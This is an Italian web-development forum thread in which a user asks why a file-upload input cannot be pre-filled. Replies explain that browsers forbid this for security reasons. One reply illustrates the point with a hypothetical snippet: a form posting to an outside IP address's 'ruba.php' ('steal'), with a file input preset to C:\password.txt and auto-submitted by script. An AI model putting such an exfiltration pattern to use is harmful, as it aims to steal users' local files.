Visualizzazione dei risultati da 1 a 4 su 4
  1. #1

    input type=file e proprietà value

    vi spiego quale è il problema:

    ho un form, quando clicco su invia, i dati vengono inviati alla pagina successiva e controllati, se si verifica qualche problema nei campi, allora mi ritorna alla pagina precedente indicando l'errore che si è verificato e ricompilando tutti i campi con i dati inseriti dall'utente tramite variabili di sessione... ora sto trovando dei problemi con il campo per effettuare l'upload dei file, infatti sembra che questo tipo di campo non abbia la proprietà value, visto che inserendo value nel campo <input type="file" value="prova">

    non compare niente....

    qualcuno sà come risulvere il problema?

    grazie in anticipo

  2. #2
    Utente di HTML.it
    Registrato dal
    Aug 2002
    Messaggi
    8,013
    Semplicemente per motivi di sicurezza non si può settare il valore di un campo file "automaticamente", ma dev'essere sempre l'utente a sistemarne il valore.
    <´¯)(¯`¤._)(¯`»ANDREA«´¯)(_.¤´¯)(¯`>
    "The answer to your question is: welcome to tomorrow"

  3. #3
    Frontend samurai L'avatar di fcaldera
    Registrato dal
    Feb 2003
    Messaggi
    12,924
    non puoi settare un valore in un campo di tipo file

    e fortunatamente... pensa se entrassi in una pagina con questo codice

    codice:
    <form action="http://100.101.102.103/ruba.php"... id="rubotutto" >
      <input type="file" value="C:\password.txt" />
    </form>
    
    <script>
      document.getElementById('rubotutto').submit();
    </script>
    Vuoi aiutare la riforestazione responsabile?

    Iscriviti a Ecologi e inizia a rimuovere la tua impronta ecologica (30 alberi extra usando il referral)

  4. #4
    ok grazie!!

    adesso ho capito il motivo!!

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.